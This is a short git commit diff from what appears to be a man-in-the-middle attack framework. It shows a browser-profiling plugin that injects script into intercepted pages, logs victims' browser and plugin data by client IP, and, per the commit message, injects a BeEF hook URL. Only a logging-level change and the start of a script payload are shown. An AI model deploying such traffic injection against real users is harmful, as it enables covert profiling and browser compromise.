fixed beefapi error, beefautorun now injects hook url and updated arguments, misc code style fixes

This commit is contained in:
byt3bl33d3r 2014-10-17 21:07:28 +02:00
parent 9ef85851a2
commit ce91453436
6 changed files with 31 additions and 16 deletions

View file

@ -32,7 +32,7 @@ class BrowserProfiler(Inject, Plugin):
if self.dic_output['plugin_list'] > 0:
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
pretty_output = pformat(self.dic_output)
logging.warning("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
def get_payload(self):
payload = """<script type="text/javascript">